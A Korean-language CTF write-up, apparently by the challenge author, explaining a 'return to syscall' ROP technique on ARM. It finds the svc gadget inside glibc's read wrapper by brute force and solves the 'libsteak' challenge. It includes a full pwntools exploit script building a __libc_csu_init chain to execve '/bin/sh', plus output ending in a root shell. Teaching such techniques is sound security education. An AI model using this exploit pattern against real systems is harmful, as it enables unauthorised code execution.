본문 바로가기

CTF/Problems

[문서] Return to syscall + H3X0R CTF libsteak write up

Return to syscall

H3X0R ctf libsteak write up

314ckC47

H3X0R

 

 


 

 

Summary

 

이번에 H3X0R CTF에서 출제한 문제중 libsteak 문제의 intended solution인 "자칭" return to syscall이란 기법에 대해 작성 해 보겠습니다.

이 기법의 아이디어 캐치는 "코드게이트 예선 문제"였구요 이 아이디어를 이용해 libsteak를 풀 수 가 있습니다.

 

 


 

 

Syscall Wrapping Functions

 

핵심적으로 알아야 할 것은, glibc(libc.so.6)에서는 system call을 wrapping 하는 함수가 '꽤나' 있단 겁니다.

당장 우리가 자주 쓰는 read 함수나, write 함수만 봐도,

 

// path : /glibc-2.27/sysdeps/unix/sysv/linux/read.c
/* Read NBYTES into BUF from FD.  Return the number read or -1.  */
ssize_t
__libc_read (int fd, void *buf, size_t nbytes)
{
  return SYSCALL_CANCEL (read, fd, buf, nbytes);
}

 

사실은 이렇게 system call을 wrapping을 하고 있다는 사실을 알 수 있습니다.

그렇다면 어셈블리 코드 상으로는 어떨까요???

- compiled with arm-linux-gnueabi-gcc -

보시는것과 같이 read 함수의 시작 지점과 '조금' 떨어진 곳에 실제 system call(svc) 가젯이 위치 한 것을 알 수 있습니다.

 

 


 

 

Exploitation

 

우리가 왜 보통 ROP를 할 때에 library 파일이 필요 한지 다시 상기 시켜 봅시다.

GOT leak, main_arena+?? leak, stdin, stdout leak 과 같은 취약점으로 libc.so.6에서 사용하는 데이터/함수의 주소값을 얻어 와서, 그 주소값으로부터 원하는 함수/데이터의 주소값을 알아 내기 위함입니다.

'핵심'은 offset 계산인데, 이 offset 계산이란걸로 system 함수나 execve, dup2같은 함수의 주소를 알아 낸 후 ROP Chaining을 통해 /bin/sh를 실행 하던 cat /etc/passwd를 실행 하던 백도어같이 악의적 공격을 위한 프로세스를 드랍 합니다.

 

그렇다면 offset 계산 없이, 하나의 특정한 함수의 주소만 가지고 우리가 원하는 공격이 가능 할까요?

답은 Yes입니다.

 

위에서 보여 드렸던 system call가젯이 read 함수 내 '어딘가에' 존재를 하기 때문에 조금의 brute forcing만으로 read 함수의 system call을 부를 수가 있게 됩니다. system call의 인자를 조작 할 수 있다면 ( 보통 ROP Task같은 경우에는 system call 인자 조작을 가능 하게 문제를 내지만, 정 안되면 __libc_csu_init 함수의 가젯을 사용 하면 됩니다. )

이는 한번의 offset 계산도 필요 하지 않으며, SROP등과 연계를 통해 지속적인 chaining을 기대 할 수도 있습니다.

 

 


 

Write up

 

libsteak
다운로드

 

문제 환경은 바이너리만 주어 졌고, 라이브러리 파일은 제공 되지 않았습니다.

라이브러리 파일은 별도로 padding patch가 되어 있기 떄문에 libcdb나 다른 offset 계산을 통한 exploit은 불가능합니다.

(가 intended solution을 위한 조건이었지만 Jinmo123님은 Unintended solution으로 푸셨습니다... respect)

먼저 문제를 까 보겠습니다.

 

 

>>> ELF("./libsteak")

[*] '/home/bc/bin/probs/libsteak/libsteak'

    Arch: arm-32-little

    RELRO: Partial RELRO

    Stack: No canary found

    NX: NX enabled

    PIE: No PIE (0x10000)

 

arm 환경에, 스택가드를 제외하면 전형적인 상태(default compile option)로 컴파일이 되어 있습니다.

 

main( ) 함수입니다.

main 함수에서는 sub_10480( )과 sub_104f8( ) 함수를 call 합니다.

 

 

sub_10480( ) 함수입니다.

sub_10480( ) 함수에서는 read@libc를 출력 해 준 후, write 함수의 got영역에 저장된 'write@libc'의 주소값을 '삭제' 해버립니다.

 

sub_104f8( ) 함수입니다.

그 후에는 일반적인 Buffer Overflow로 ROP를 해라~ 고 문제가 말 하는 듯 하네요.

 

ropasaurusrex와 같이 풀기 위해서는 write 함수를 통해 libc leak을 해야 하는데...

sub_10480( ) 함수에서 그 주소값을 초기화 하기 때문에 rop에 응용 하지 못합니다.

하지만 우리는 read@libc의 주소값을 알고 있기 때문에 별도의 memory leak 과정 없이 return to syscall로 풀어 보겠습니다.

 

코드 디자인이 조금 더럽습니다. 양해 하고 봐 주시면 감사 하겠습니다.

#!/usr/bin/python

from pwn import *

e = ELF("./libsteak")
p = process("./run.sh")

# loading __libc_csu_init
e.symbols['__libc_csu_init'] = 0x10524

# leak read@libc address
leak = u32(p.read(4))
libc_read = leak
print "leaked : 0x%08x"%(leak)

p.close()

# start brute forcing
for i in range(0,0x100,4):
	p = process("./run.sh")

	# define syscall address
	syscall_addr = libc_read+i
	print "trying 0x%08x+0x%x=0x%08x"%(libc_read,i,syscall_addr)

	# simple 'ROP' stuffs.
	def syscall(r7,r0,r1,r2):
		ret = ''
		# pop {r4-r10,pc}
		ret += p32(0) #r4
		ret += p32(0) #r5
		ret += p32(0) #r6
		ret += p32(r0) #r7->r0
		ret += p32(r1) #r8->r1
		ret += p32(r2) #r9->r2
		ret += p32(0) #r10
		# pop {r3, pc}
		ret += p32(0x1058c)
		ret += p32(e.symbols['__libc_csu_init']+0x54)
		# mov r0,r7, ... ;call r3
		ret += p32(e.symbols['__libc_csu_init']+0x3c)
		# pop {r4-r10, pc}
		ret += p32(0) * 3
		ret += p32(r7)
		ret += p32(0) * 3
		ret += p32(syscall_addr)
		return ret
	
	def call(r3,r0,r1,r2):
		ret = ''
		ret += p32(0)
		ret += p32(r3)
		ret += p32(1)
		ret += p32(r0)
		ret += p32(r1)
		ret += p32(r2)
		ret += p32(0)
		ret += p32(e.symbols['__libc_csu_init']+0x34)
		return ret
	
	stage2 = ''
	stage2 += "/bin/sh\x00"
	stage2 += p32(e.bss())
	stage2 += p32(0)
	
	payload = ''
	payload += "A"*8
	payload += p32(e.symbols['__libc_csu_init']+0x54)
	payload += call(e.got['read'],0,e.bss(),len(stage2))
	payload += syscall(0xb,e.bss(),e.bss()+8,0)
	
	p.send(payload);sleep(0.1)
	p.send(stage2);sleep(0.1)
	try:
		p.sendline("echo PWNED")
	except EOFError:
		p.close()
		continue

	if p.can_recv_raw(1):
		p.interactive()
		p.close()
		break
	else:
		p.close()
		continue
 

 Exploitation 

$ python ./exploit.py 

[*] '/home/bc/bin/probs/libsteak/libsteak'

    Arch:     arm-32-little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:       NX enabled

    PIE:      No PIE (0x10000)

[+] Starting local process './run.sh': pid 4071

leaked : 0xf6f522e0

[*] Stopped process './run.sh' (pid 4071)

[+] Starting local process './run.sh': pid 4075

trying 0xf6f522e0+0x0=0xf6f522e0

[*] Process './run.sh' stopped with exit code 139 (pid 4075)

[+] Starting local process './run.sh': pid 4079

trying 0xf6f522e0+0x4=0xf6f522e4

[*] Process './run.sh' stopped with exit code 139 (pid 4079)

[+] Starting local process './run.sh': pid 4083

trying 0xf6f522e0+0x8=0xf6f522e8

[*] Process './run.sh' stopped with exit code 139 (pid 4083)

[+] Starting local process './run.sh': pid 4087

trying 0xf6f522e0+0xc=0xf6f522ec

[*] Process './run.sh' stopped with exit code 139 (pid 4087)

[+] Starting local process './run.sh': pid 4091

trying 0xf6f522e0+0x10=0xf6f522f0

[*] Process './run.sh' stopped with exit code 132 (pid 4091)

[+] Starting local process './run.sh': pid 4095

trying 0xf6f522e0+0x14=0xf6f522f4

[*] Process './run.sh' stopped with exit code 132 (pid 4095)

[+] Starting local process './run.sh': pid 4099

trying 0xf6f522e0+0x18=0xf6f522f8

[*] Switching to interactive mode

󾣵񏖎ED

$ whoami

root

 

다음과 같이 '적은' 수의 브루트 포싱(6회)만으로도 쉘을 딸 수가 있었습니다.

 


 

By finishing off

 

물론 이미 이 기법을 알고 계신다거나 시시하다거나... 충분히 그러실 수도 있습니다(return to cs... 읍읍)

하지만 좋은건 나눠야 쓰지!라는 마인드로 한번 작성 해 본 글이니 양해 부탁 드립니다.

 

+ return to libc는 제가 붙인 별칭일 뿐입니다 ㅎㅎ

+ shout out to Nextline@CodeRed, Jinmo123 solvers of this pwn task.

'CTF > Problems' 카테고리의 다른 글

0ctf 2017 babyheap  (0) 2018.01.18
cookbook  (0) 2016.11.13
kappa write up  (0) 2016.07.21
mynx writeup  (0) 2016.07.18